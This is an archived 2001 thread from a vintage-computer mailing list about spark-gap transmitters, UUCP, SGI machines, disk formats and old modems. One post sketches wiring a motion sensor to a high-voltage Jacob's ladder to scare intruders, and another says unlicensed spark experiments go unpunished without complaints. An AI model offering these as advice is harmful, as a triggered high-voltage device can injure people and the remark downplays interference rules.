2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? References: <200106202159.PAA19750@calico.litterbox.com> Message-ID: <3B312216.DFF8B4FF@home.com> Actually, we got a special permit to activate a spark transmitter [1000 watts, quenched gap Navy WW I unit] several years ago at the AWA [Antique Wireless Association] annual meeting in Rochester, NY. We were allowed a 60 sec transmission once an hour for a 12 hour period for purposes of "historical demonstration". I'm sure the harmonics [multiple and MANY] played hell with the local TV and radio reception. Across the parking lot it could be received anywhere from 400KC [where it was "supposed to be tuned"] .. on up to about 50MC or so. Sorry about the O/T post but it's a special interest area for me. There a 500 watt, 500 cycle War I Navy transmitter sitting behind me in my office! Craig Jim Strickland wrote: > > It's my impression the FCC takes a pretty dim view of spark-gap > transmitters. But then I've never been a ham or anything like that. > I don't *do* analog (yet). > > > No packet hardware... I guess that my old Utica transciever would be > > useless for this. Since we're talking about sending/receiving data in > > a classic manner, wouldn't it be neat to use sparc-gap transmitters, > > and then never worrying about having to do any form of D/A or A/D > > conversion? > > -- > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > BeOS Powered! > ----------------------------------------------------------------------- From jhellige at earthlink.net Wed Jun 20 17:17:44 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:38 2005 Subject: UUCP and Netnews In-Reply-To: References: Message-ID: >connection... a lot less than it was back in the days of Trailblazer >modems or earlier. Isn't there some very inexpensive calling plan now I still have one of the Telebit Trailblazer's around here somewhere. A T1000 I believe. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jim at calico.litterbox.com Wed Jun 20 17:32:08 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:38 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? In-Reply-To: <3B312216.DFF8B4FF@home.com> from "Craig Smith" at Jun 20, 2001 06:22:14 PM Message-ID: <200106202232.QAA19883@calico.litterbox.com> > > Actually, we got a special permit to activate a spark transmitter > [1000 watts, quenched gap Navy WW I unit] several years ago at the AWA > [Antique Wireless Association] annual meeting in Rochester, NY. We were > allowed a 60 sec transmission once an hour for a 12 hour period for > purposes of "historical demonstration". > I'm sure the harmonics [multiple and MANY] played hell with the local > TV and radio reception. Across the parking lot it could be received > anywhere from 400KC [where it was "supposed to be tuned"] .. on up to > about 50MC or so. > Sorry about the O/T post but it's a special interest area for me. > There a 500 watt, 500 cycle War I Navy transmitter sitting behind me in > my office! > Craig Cool, I didn't think the FCC was so accomidating. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From uban at ubanproductions.com Wed Jun 20 17:42:59 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:38 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? In-Reply-To: <3B312216.DFF8B4FF@home.com> References: <200106202159.PAA19750@calico.litterbox.com> Message-ID: <3.0.5.32.20010620174259.008829c0@ubanproductions.com> Does that qualify as an early form of spread spectrum;-) --tom At 06:22 PM 6/20/01 -0400, you wrote: > Actually, we got a special permit to activate a spark transmitter >[1000 watts, quenched gap Navy WW I unit] several years ago at the AWA >[Antique Wireless Association] annual meeting in Rochester, NY. We were >allowed a 60 sec transmission once an hour for a 12 hour period for >purposes of "historical demonstration". > I'm sure the harmonics [multiple and MANY] played hell with the local >TV and radio reception. Across the parking lot it could be received >anywhere from 400KC [where it was "supposed to be tuned"] .. on up to >about 50MC or so. > Sorry about the O/T post but it's a special interest area for me. >There a 500 watt, 500 cycle War I Navy transmitter sitting behind me in >my office! > Craig > >Jim Strickland wrote: >> >> It's my impression the FCC takes a pretty dim view of spark-gap >> transmitters. But then I've never been a ham or anything like that. >> I don't *do* analog (yet). >> >> > No packet hardware... I guess that my old Utica transciever would be >> > useless for this. Since we're talking about sending/receiving data in >> > a classic manner, wouldn't it be neat to use sparc-gap transmitters, >> > and then never worrying about having to do any form of D/A or A/D >> > conversion? >> >> -- >> Jim Strickland >> jim@DIESPAMMERSCUMcalico.litterbox.com >> ----------------------------------------------------------------------- >> BeOS Powered! >> ----------------------------------------------------------------------- > > From pete at dunnington.u-net.com Wed Jun 20 17:51:51 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:38 2005 Subject: SGI Indy In-Reply-To: healyzh@aracnet.com "Re: SGI Indy" (Jun 20, 13:59) References: <200106202059.f5KKx7v17654@shell1.aracnet.com> Message-ID: <10106202351.ZM746@mindy.dunnington.u-net.com> On Jun 20, 13:59, healyzh@aracnet.com wrote: > I believe the Indy falls under the cool tech dispensation :^) So it's OK to > ask about it here :^) I agree! -- Pete Peter Turnbull Network Manager University of York From pete at dunnington.u-net.com Wed Jun 20 17:52:04 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:38 2005 Subject: SGI Indy In-Reply-To: James Rice "Re: SGI Indy" (Jun 20, 15:35) References: <3B30D98E.28D70231@texoma.net> <3B31090D.962B88A@texoma.net> Message-ID: <10106202352.ZM750@mindy.dunnington.u-net.com> On Jun 20, 15:35, James Rice wrote: > Sorry about the OT post. I hadn't even looked to see the relase date of the > Indy. I was just excited to get one. Don't take my comment seriously! I doubt if anyone objected. They're nice machines. I have two myself which I use all the time (look at the first "Received:" header on this message). Also several Indigos and an O2. > I was just excited to get one. And so you should be :-) -- Pete Peter Turnbull Network Manager University of York From pete at dunnington.u-net.com Wed Jun 20 17:59:27 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:38 2005 Subject: CD Eating Fungus? In-Reply-To: Chuck McManis "Re: CD Eating Fungus?" (Jun 20, 14:31) References: <5.0.0.25.2.20010620105022.025abc10@209.185.79.193> <5.0.0.25.2.20010620142754.02c7fcd0@209.185.79.193> Message-ID: <10106202359.ZM754@mindy.dunnington.u-net.com> On Jun 20, 14:31, Chuck McManis wrote: > At 07:48 PM 6/20/01 +0000, Pete wrote: > >But aluminium oxide is Al203 and it's a white powder. Or a rather > >attractive (and, yes, very hard) crystal, known as carborundum, ruby, > >emerald, amethyst, etc depending on the impurities :-) The only place > >you'd get AlO2 (which is also white/clear, by the way) is as aluminate ions > >in solution. > > My aluminum CDs oxidize black, my aluminum sailboat rigging used to, > (before I got rid of it), aluminum cans that I tried to melt at one point > also turned into the a black form of the Aluminum oxide powder. Perhaps > there are other impurities in it that change its color, I don't know, I > just observe. Now is someone had a classic HP spectrometer I suppose I > could put this stuff in there and see what it said it was. :-) It could be aluminium sulphide (I'm not sure if that's black, but it might be). Or it could be impurities -- neither your rigging nor the cans will be pure aluminium. In any case, cans usually have a lacquer coating on the inside, or paint on the outside. I expect the rigging is also reacting with something from the water (seawater? lakewater? there's all kinds of stuff in that), but I don't know what. Usually aluminium corrosion is whitish-grey. I have no idea about the CDs, though, I must admit. -- Pete Peter Turnbull Network Manager University of York From geoffr at zipcon.net Wed Jun 20 17:58:19 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:39 2005 Subject: SGI Indy In-Reply-To: <10106202031.ZM3054@indy.dunnington.u-net.com> References: <"Zane H. Healy" Message-ID: <5.1.0.14.2.20010620155722.03f6c3e0@mail.zipcon.net> you may want to check out the geeks mailing list over at sunhelp.org there has been discussion on that list recently IIRC about SGI's. also I believe the rescue list there has also had some SGI discussion. From foo at siconic.com Wed Jun 20 17:16:08 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:39 2005 Subject: Enanito si, pero con que pedazo! In-Reply-To: <200106202118.OAA10468@stockholm.ptloma.edu> Message-ID: On Wed, 20 Jun 2001, Cameron Kaiser wrote: > > Faltaba apenas un dia para su aniversario de de 18 años. Blanca de Nieve > > fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una > > *grande* sorpresa para su fiesta de compleaños. Al entardecer, llegaron. > > Tenian un brillo incomun en los ojos... > > For those of you who don't know Spanish, this is the Snow White virus again. Wow! It learned Spanish! It must be mutating and growing smarter. Someone call the folks at Ripley's! :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From zmerch at 30below.com Wed Jun 20 18:49:14 2001 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 19:04:39 2005 Subject: OT: Hardee-effen-har-har... (was: Enanito si, pero con que )pedazo! In-Reply-To: <200106202118.OAA10468@stockholm.ptloma.edu> References: <200106202049.PAA97998@opal.tseinc.com> Message-ID: <3.0.1.32.20010620194914.00a4c360@mail.30below.com> Rumor has it that Cameron Kaiser may have mentioned these words: >> Faltaba apenas un dia para su aniversario de de 18 a?os. Blanca de Nieve >> fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una >> *grande* sorpresa para su fiesta de complea?os. Al entardecer, llegaron. >> Tenian un brillo incomun en los ojos... > >For those of you who don't know Spanish, this is the Snow White virus again. For those of you who may run/admin an ISP (or have a command prompt) & you use qmail for your MUA, I have a very short Perl script that will clobber that virus before it gets in your mailbox... HTH, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From jhellige at earthlink.net Wed Jun 20 19:10:40 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:39 2005 Subject: Univac stuff In-Reply-To: <3.0.1.32.20010620194914.00a4c360@mail.30below.com> References: <200106202049.PAA97998@opal.tseinc.com> <3.0.1.32.20010620194914.00a4c360@mail.30below.com> Message-ID: For those that don't read USENET or ALT.FOLKLORE.COMPUTERS, here's a URL that some of you might find interesting. It hosts a number of documents converted to PDF format, including: - Univac I front panel diagram - Univac I Operator's Manual - Univac 7900 service manual Plus a couple of others. They're fairly large files. http://www.spies.com/~aek/pdf/univac/ Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From vance at ikickass.org Wed Jun 20 19:58:45 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:39 2005 Subject: Free for the taking... In-Reply-To: <3B3109E4.C96B61ED@olf.com> Message-ID: How about early next week sometime? I will need directions, and I will be coming from Westchester. (This is my first classiccmp trade with another Indian person 8-)). Peace... Sridhar On Wed, 20 Jun 2001, Ram Meenakshisundaram wrote: > Vance Dereksen wrote: > > > I can pick it up. > > > > Peace... Sridhar > > > > Its all yours. Let me know when you want to pick it up.... > > Ram > > -- > > ,,,, > /'^'\ > ( o o ) > -oOOO--(_)--OOOo------------------------------------- > | Ram Meenakshisundaram | > | Senior Software Engineer | > | OpenLink Financial Inc | > | .oooO Phone: (516) 227-6600 x267 | > | ( ) Oooo. Email: rmeenaks@olf.com | > ---\ (----( )-------------------------------------- > \_) ) / > (_/ > > > From dogbert at mindless.com Wed Jun 20 20:17:00 2001 From: dogbert at mindless.com (Ross Archer) Date: Sun Feb 27 19:04:39 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? References: <200106202159.PAA19750@calico.litterbox.com> <3B312216.DFF8B4FF@home.com> Message-ID: <3B314B0C.DD3CFA86@mindless.com> Craig Smith wrote: > Actually, we got a special permit to activate a spark transmitter > [1000 watts, quenched gap Navy WW I unit] several years ago at the AWA > [Antique Wireless Association] annual meeting in Rochester, NY. We were > allowed a 60 sec transmission once an hour for a 12 hour period for > purposes of "historical demonstration". You need a permit? Ack. Anyone want to buy a 50 kV spark gap transmitter, cheap? ;) > > I'm sure the harmonics [multiple and MANY] played hell with the local > TV and radio reception. Across the parking lot it could be received > anywhere from 400KC [where it was "supposed to be tuned"] .. on up to > about 50MC or so. > Sorry about the O/T post but it's a special interest area for me. > There a 500 watt, 500 cycle War I Navy transmitter sitting behind me in > my office! > Craig > > Jim Strickland wrote: > > > > It's my impression the FCC takes a pretty dim view of spark-gap > > transmitters. But then I've never been a ham or anything like that. > > I don't *do* analog (yet). > > > > > No packet hardware... I guess that my old Utica transciever would be > > > useless for this. Since we're talking about sending/receiving data in > > > a classic manner, wouldn't it be neat to use sparc-gap transmitters, > > > and then never worrying about having to do any form of D/A or A/D > > > conversion? > > > > -- > > Jim Strickland > > jim@DIESPAMMERSCUMcalico.litterbox.com > > ----------------------------------------------------------------------- > > BeOS Powered! > > ----------------------------------------------------------------------- From rdd at smart.net Wed Jun 20 21:04:01 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:39 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? In-Reply-To: <3B314B0C.DD3CFA86@mindless.com> Message-ID: On Wed, 20 Jun 2001, Ross Archer wrote: > You need a permit? Ack. Anyone want to buy a 50 kV spark gap transmitter, > cheap? ;) Hmmm, I wonder how many of the experiments with high voltage and things that spark, performed by perhaps many members of this group, have been illegal? :-) -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From cmurillo at emtelsa.multi.net.co Wed Jun 20 20:09:43 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:39 2005 Subject: Enanito si, pero con que pedazo! In-Reply-To: References: <200106202118.OAA10468@stockholm.ptloma.edu> Message-ID: <3.0.2.32.20010620210943.00e96168@obregon.multi.net.co> At 03:16 PM 6/20/01 -0700, Sellam wrote: >On Wed, 20 Jun 2001, Cameron Kaiser wrote: > >> > Faltaba apenas un dia para su aniversario de de 18 a?os. Blanca de Nieve >> > fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una >> > *grande* sorpresa para su fiesta de complea?os. Al entardecer, llegaron. >> > Tenian un brillo incomun en los ojos... >> >> For those of you who don't know Spanish, this is the Snow White virus again. > >Wow! It learned Spanish! It must be mutating and growing smarter. >Someone call the folks at Ripley's! Actually, I can tell that it was translated by someone whose native language isn't Spanish, but English. Carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From pechter at bg-tc-ppp705.monmouth.com Wed Jun 20 21:11:38 2001 From: pechter at bg-tc-ppp705.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews In-Reply-To: from Jeff Hellige at "Jun 20, 2001 06:17:44 pm" Message-ID: <200106210211.f5L2Bc015450@bg-tc-ppp705.monmouth.com> > >connection... a lot less than it was back in the days of Trailblazer > >modems or earlier. Isn't there some very inexpensive calling plan now > > I still have one of the Telebit Trailblazer's around here > somewhere. A T1000 I believe. > > Jeff I've got a couple of 'em T1000's, T1500, and a T2500. They'll do uucp over dixie cups and damp string. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From jss at ou.edu Wed Jun 20 21:31:26 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews In-Reply-To: References: Message-ID: <993090686.3b315c7e6811b@email.ou.edu> Quoting "R. D. Davis" : > On Mon, 18 Jun 2001, Sellam Ismail wrote: > > > > Why, USENET-Classic, of course :) > > Here's a vote for Sellam's choice of naming! I like it! A good suggestion to be sure, but I myself must abandon my own suggestion (USEfulNET) and go with USENET-0, which someone else suggested. The reason is twofold: first, the obvious reason that there is USENET (assumed to have a -1 appended) and a USENET-2 which came after it, so our "classic" USENET can be taken as a recreation of something *before* -1 and needs to be -0; second, the smart-ass programmer inside me knows that counting should begin at 0 instead of 1, so having a -0 would remedy a most disturbing situation. :-) -- Jeffrey S. Sharp jss@ou.edu From jss at ou.edu Wed Jun 20 21:39:35 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews In-Reply-To: <200106202153.f5KLr5F20644@shell1.aracnet.com> References: <200106202153.f5KLr5F20644@shell1.aracnet.com> Message-ID: <993091175.3b315e671c9fe@email.ou.edu> > > Sounds good. Anyone who answers that C-News is a televised > > newscast, asks "what's UUCP?," or says "what was wrong with the > > invasion of the AOLers?" gets banned from it for life. > > Let me guess, Jerry Pournelle , or anyone with an AOL > address is automatically banned? :^) If the entry barrier is to have classic hardware and UUCP running on it, we can mostly assume that we'll only have good people on our net. Lossage may still occur, so it would be prudent to have a way to depeer the idiot. -- Jeffrey S. Sharp jss@ou.edu From ip500 at home.com Wed Jun 20 22:45:45 2001 From: ip500 at home.com (Craig Smith) Date: Sun Feb 27 19:04:39 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? References: Message-ID: <3B316DE9.66CFB17E@home.com> As long as you're not connected to an antenna system [and presuming you're smart enough to keep the HV from kicking back into the power grid] ... shouldn't be too much of a problem, even w/big Tesla coils and the like. These days the FCC is so overworked that unless they get a complaint [typically from a neighbor whose TV is being interfered with] you are pretty much home free. Craig "R. D. Davis" wrote: > > On Wed, 20 Jun 2001, Ross Archer wrote: > > You need a permit? Ack. Anyone want to buy a 50 kV spark gap transmitter, > > cheap? ;) > > Hmmm, I wonder how many of the experiments with high voltage and > things that spark, performed by perhaps many members of this group, > have been illegal? :-) > > -- > Copyright (C) 2001 R. D. Davis The difference between humans & other animals: > All Rights Reserved an unnatural belief that we're above Nature & > rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such > http://www.perqlogic.com beliefs and to justify much human cruelty. From vcf at siconic.com Wed Jun 20 22:31:53 2001 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 19:04:39 2005 Subject: Question about Intel disk formats Message-ID: I've got some 8" disks that are apparently double density (the manufacturer label says so). I thought they were Intel ISIS formatted disks (which Eric Smith said would make them M2FM and uncompatible with anything other than an Intel MDS development machine) but I'm not so sure, since I can't seem to access any on the two Intel MDS systems I have set up. Both machines have Shugart 801 drives in them, and after doing some web research, I've come to find out they are single-density only. This would probably explain why I am not able to access these disks on these machines. The disks I am trying to access are supposedly CP/M, but the labelling indicates they were perhaps used on an Intel development system (they have filenames on the label with ".HEX" file types; this may not mean anything). If this is the case, and they were formatted on an Intel MDS (and therefore M2FM), and since they are double-density, then I may not be able to read them with the machines I have. However, I want to check their format on some CP/M machine and see if perhaps I can read them. If so, then they are probably more standard DD formatted diskettes, maybe even CP/M since that is what I was told they are. If they are in a standard DD format, and I have a computer that can boot a DD CP/M system master, could I then pop these disks in the drive and do a DIR to see if I get a directory? For those who've used these before: when I put any of the disks in question in the drive, the drive seems to seek for a few seconds, then goes off for a split second, back on again for half a second, then off (and the system crashes). The normal boot sequence for a (single density) system disk is, upon reboot the disk seeks for a few seconds, then stops for a split second, then starts seeking/reading for a few more seconds and the ISIS prompt comes up. It seems the system is trying to read the double density disks and just not seeing anything intelligible and crashes. With single density non-system diskettes, the machines will come up with something like "NOT A SYSTEM DISK". Suggestions appreciated. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From ljcst18+ at pitt.edu Wed Jun 20 23:44:48 2001 From: ljcst18+ at pitt.edu (Lucas J Cashdollar) Date: Sun Feb 27 19:04:39 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? In-Reply-To: <3B316DE9.66CFB17E@home.com> Message-ID: My jacob's ladder is by far more interesting to look at than any two bit lava lamp. From donm at cts.com Wed Jun 20 23:51:30 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:39 2005 Subject: Question about Intel disk formats In-Reply-To: Message-ID: On Wed, 20 Jun 2001, Vintage Computer Festival wrote: > > I've got some 8" disks that are apparently double density (the > manufacturer label says so). I thought they were Intel ISIS formatted > disks (which Eric Smith said would make them M2FM and uncompatible with > anything other than an Intel MDS development machine) but I'm not so sure, > since I can't seem to access any on the two Intel MDS systems I have set > up. > > Both machines have Shugart 801 drives in them, and after doing some web > research, I've come to find out they are single-density only. This would > probably explain why I am not able to access these disks on these > machines. > > The disks I am trying to access are supposedly CP/M, but the labelling > indicates they were perhaps used on an Intel development system (they have > filenames on the label with ".HEX" file types; this may not mean > anything). If this is the case, and they were formatted on an Intel MDS > (and therefore M2FM), and since they are double-density, then I may not be > able to read them with the machines I have. > > However, I want to check their format on some CP/M machine and see if > perhaps I can read them. If so, then they are probably more standard DD > formatted diskettes, maybe even CP/M since that is what I was told they > are. > > If they are in a standard DD format, and I have a computer that can boot a > DD CP/M system master, could I then pop these disks in the drive and do a > DIR to see if I get a directory? Sellam, there is not really a 'standard DD format' in CP/M. There are so many variations that if you tried that it would be a matter of purest coincidence if it could read them. > For those who've used these before: when I put any of the disks in > question in the drive, the drive seems to seek for a few seconds, then > goes off for a split second, back on again for half a second, then off > (and the system crashes). The normal boot sequence for a (single density) > system disk is, upon reboot the disk seeks for a few seconds, then stops > for a split second, then starts seeking/reading for a few more seconds and > the ISIS prompt comes up. > > It seems the system is trying to read the double density disks and just > not seeing anything intelligible and crashes. With single density > non-system diskettes, the machines will come up with something like "NOT A > SYSTEM DISK". > > Suggestions appreciated. You could mail me a couple and let me see if I can read them. Can't do m2mfm, but most other. - don > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From rdd at smart.net Thu Jun 21 00:44:18 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:39 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? In-Reply-To: Message-ID: On Thu, 21 Jun 2001, Lucas J Cashdollar wrote: > My jacob's ladder is by far more interesting to look at than any > two bit lava lamp. Mind too. :-) If you want to have some fun frightening intruders away, hack a motion sensor (like one of the old Radio Shack ones from the mid 1980s) with a 120VAC relay and a 555 timer circuit, that way, you can adjust how long something remains on after the motion sensor is triggered. ...then, just attach a large jacob's ladder to it. :-) Actually, mine does qualify as having somewhat of a small antennae, as the rods on which the spark rise are about three feet in length. Has anyone else here tried using metal screen, etc. with such devices for interesting effects? I won't caution anyone on being careful, since I would think that all of those who post here and are mad enough to also collect and restore vintage computers are intelligent enough to be careful with high voltages. :-) Getting back on topic, has anyone here used a classic computer to control high-voltage devices such as Tesla coils and jacobs laddrs, like the control center for a mad scientists laboratory? -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From marvin at rain.org Thu Jun 21 01:29:30 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:39 2005 Subject: IBM Realtime Co-Processor DOS Support V 1.02 References: Message-ID: <3B31944A.32CD7985@rain.org> I have no idea what this software package is, but it consists of two IBM 5 1/4" floppy disks: Dos Support Programs and DOS Support User's Guide. There is also a 3 1/2" floppy titled "DOS Support User's Guide." The description on the front of this package says "A productivity aid providing installation and necessary information to interface DOS software/firmware with the Realtime Interface Co-Processor." The proof of license is also included along with an instruction/warrenty booklet. First $3.50 for Priority Mail takes it. From ndiablo at diablonet.net Wed Jun 20 21:53:16 2001 From: ndiablo at diablonet.net (Netdiablo) Date: Sun Feb 27 19:04:39 2005 Subject: SGI Indy Message-ID: <3B31619C.FEB96ED6@diablonet.net> >> I've acquired a SGI Indy system complete with 21" monitor, keyboard and >> mouse (no IndyCam) but the hard drive has been wiped. Does anyone know >> where I might get a copy of the IRIX media or what are the licensing >> terms. Does the hardware come with the right to the OS like NeXT? >> Looks like a cool system if I can get it up and running. Also are >> flopptical disks still available? Congrats on the find! They're wonderful machines. I've got a number of SGI machines including the Indigo, the Indy, and the Indigo2. SGI systems are by far my favourite desktop UNIX workstations. In regard to finding the operating system, eBay is really your best bet. You can find a copy of IRIX 5.3 for probably less than $25. IRIX 5.3 really doesn't get many bids anymore. Note two things, though: * Make sure that it includes support for the Indy (older distributions didn't). This is often labeled "IRIX 5.3 for Indy R4400" or something like that. * Note that because it uses an older binary format, IRIX 5.3 often will not be able to run binaries of software that are available out there on the Internet. SGI does offer the IDO (development environment) for free for download from their website, though. IRIX 6.x is definitely the preferred operating environment, but its more difficult to find, and a bit more expensive too. Depending on how much RAM and hard disk space the machine has, its a bit more resource intensive as well. Resellers are VERY hesitant (if not totally unwilling) to sell you IRIX media without purchase of a system. Supposedly it has something to do with SGI licensing terms. If they sell it to you at all, it will probably be at or near list price (around $300-600, depending on their persuasion). I wouldn't waste much time with the floptical drive. You can find them on eBay relatively often, but I don't think they're useful for much outside of being a novelty item. The original floptical media are probably pretty near impossible to find now, and even though they will read and write standard 1.44 meg disks, its debatable how necessary this is on a UNIX workstation anyway. As someone else mentioned, they're probably not super duper reliable, either. Contrary to popular belief, you can use a standard 2048 byte sector CD-ROM drive to install IRIX on the Indy, and also the R4000 Indigo, the Indigo2, and newer machines such as the O2 and Octane. They're intelligent enough to change the blocksize to 512 bytes before attempting to use the CD-ROM. They 512 byte sector CD-ROMS are only necessary on older systems such as the 4D series, Personal IRIS, Indigo R3000, Crimson (?), etc. Hope this helps! --Sean Caron (root@diablonet.net) | http://www.diablonet.net From fernande at internet1.net Thu Jun 21 04:29:06 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:39 2005 Subject: CD Eating Fungus? References: Message-ID: <3B31BE62.D9D95A6@internet1.net> Never played them backwards, but I try them upside down from time to time :-) Chad Fernandez Michigan, USA Fred Cisin (XenoSoft) wrote: > In the meantime, this list has been putting a lot of effort into trying to > come up with ways that what is apparently an urban legend COULD POSSIBLY > be true. Has anyone tried playing them backwards? > > -- > Grumpy Ol' Fred cisin@xenosoft.com From jhellige at earthlink.net Thu Jun 21 04:32:23 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews In-Reply-To: <200106210211.f5L2Bc015450@bg-tc-ppp705.monmouth.com> References: <200106210211.f5L2Bc015450@bg-tc-ppp705.monmouth.com> Message-ID: >I've got a couple of 'em T1000's, T1500, and a T2500. >They'll do uucp over dixie cups and damp string. Can't beat that for reliability or flexibility! Too bad you had to be connected to another Trailblazer to get the more advanced features. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From dhquebbeman at theestopinalgroup.com Thu Jun 21 06:27:32 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511D8@jeffserver.tegjeff.com> > > >connection... a lot less than it was back in the days of Trailblazer > > >modems or earlier. Isn't there some very inexpensive calling plan now > > > > I still have one of the Telebit Trailblazer's around here > > somewhere. A T1000 I believe. > > I've got a couple of 'em T1000's, T1500, and a T2500. > They'll do uucp over dixie cups and damp string. I doubt it- string's impedance doesn't match Dixie Cups... you use string with tin cans... with Dixie Cups, ya gotta use thread. >From one who knows... ;-) From thompson at mail.athenet.net Thu Jun 21 06:43:12 2001 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 19:04:39 2005 Subject: IBM Realtime Co-Processor DOS Support V 1.02 In-Reply-To: <3B31944A.32CD7985@rain.org> Message-ID: I believe this was software for a multi port serial card for data acquisition. I have encountered them on call detail recorders for commercial phone switches. On Wed, 20 Jun 2001, Marvin wrote: > > I have no idea what this software package is, but it consists of two IBM 5 > 1/4" floppy disks: Dos Support Programs and DOS Support User's Guide. There > is also a 3 1/2" floppy titled "DOS Support User's Guide." The description > on the front of this package says "A productivity aid providing installation > and necessary information to interface DOS software/firmware with the > Realtime Interface Co-Processor." The proof of license is also included > along with an instruction/warrenty booklet. > > First $3.50 for Priority Mail takes it. > -- From dhquebbeman at theestopinalgroup.com Thu Jun 21 08:43:25 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:39 2005 Subject: IBM Realtime Co-Processor DOS Support V 1.02 Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511DA@jeffserver.tegjeff.com> Ah, sounds like the IBM RTIC (ARTIC) card... that verdammnt thing was a b*tch to program, even with the developer kit. If anyone ever ends up with one and needs some sample code that actually works (in contrast to what came with the developer kit), let me know... Regards, -dq > -----Original Message----- > From: Marvin [mailto:marvin@rain.org] > Sent: Thursday, June 21, 2001 2:30 AM > To: classiccmp@classiccmp.org > Subject: IBM Realtime Co-Processor DOS Support V 1.02 > > > > I have no idea what this software package is, but it consists > of two IBM 5 > 1/4" floppy disks: Dos Support Programs and DOS Support > User's Guide. There > is also a 3 1/2" floppy titled "DOS Support User's Guide." > The description > on the front of this package says "A productivity aid > providing installation > and necessary information to interface DOS software/firmware with the > Realtime Interface Co-Processor." The proof of license is > also included > along with an instruction/warrenty booklet. > > First $3.50 for Priority Mail takes it. > From jss at ou.edu Thu Jun 21 08:56:51 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:39 2005 Subject: Paging Will Jennings Message-ID: <993131811.3b31fd23a1d76@email.ou.edu> Hey Will, where ya been? Despite mailing you twice, I haven't received mail from you in a week. I'm eager to continue our conversation, as I believe you are. -- Jeffrey S. Sharp jss@ou.edu From vance at ikickass.org Thu Jun 21 09:59:53 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:39 2005 Subject: IBM Realtime Co-Processor DOS Support V 1.02 In-Reply-To: Message-ID: Yeah. These cards were later replaced with the ARTIC line. Peace... Sridhar On Thu, 21 Jun 2001, Paul Thompson wrote: > > I believe this was software for a multi port serial card for data > acquisition. I have encountered 